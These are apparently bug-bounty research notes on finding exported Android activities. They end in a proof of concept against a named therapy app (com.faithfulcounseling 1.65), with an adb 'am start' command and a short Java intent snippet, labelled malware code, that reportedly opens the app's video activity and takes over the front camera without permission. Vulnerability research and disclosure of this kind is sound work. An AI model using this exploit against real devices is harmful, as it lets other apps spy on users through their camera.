6. Exported Activity

1. Methods to find a bug

Rough Note :

1. Exported Activity trigger sensitive activity using other app
2. search for exported=true or intent filter in manifestfile
3. open exported activity
4. look for any variable that accept data from intent
5. web view, video player, image viewer, notification
6. what activity trigger cam or audio
7. go to activity
8. check for method accept data from intent like oncreate(), onResume() etc using intent function
9. start the activity

Steps :-
1) open Jadx
2) go to androidmanifest file
3) search exported=true or intent filter
4) open exported activity
5) lock for any variable that accepting data from intent
6) WebView or video player or image viewer
7) camer or audio

App name = Faithful Counseling - Christian Based Therapy
Version Code = 1.65
package name = com.faithfulcounseling
Activity :- com.betterhelp.videosession.VideoSession

adb test :- am start -n com.faithfulcounseling/com.betterhelp.videosession.VideoSession


Bundle extras = getIntent().getExtras();
      this.h2 = extras.getString("apiKey");
      this.i2 = extras.getString("sessionId");
      this.j2 = extras.getString("token");

1. PoC 2

App name = Faithful Counseling - Christian Based Therapy
Version Code = 1.65
package name = com.faithfulcounseling

Bug Name :- Exported Activity leads to hijack face cam on any Malware application without permission

Steps to reproduce via adb :-

1) open terminal run adb shell
2) now use this command am start -n com.faithfulcounseling/com.betterhelp.VideoTest

Steps to reproduce via malware :-

1) Create new android project
2) Now implement intent with this class name and activity name " com.faithfulcounseling/com.betterhelp.VideoTest"
3) install on device

Malware code :-

       Intent cam = new Intent();
       cam.setClassName("com.faithfulcounseling","com.betterhelp.VideoTest");
       startActivity(cam);


Impact :-
1) Any application can hijack face camera without permission
2) Users privacy leaking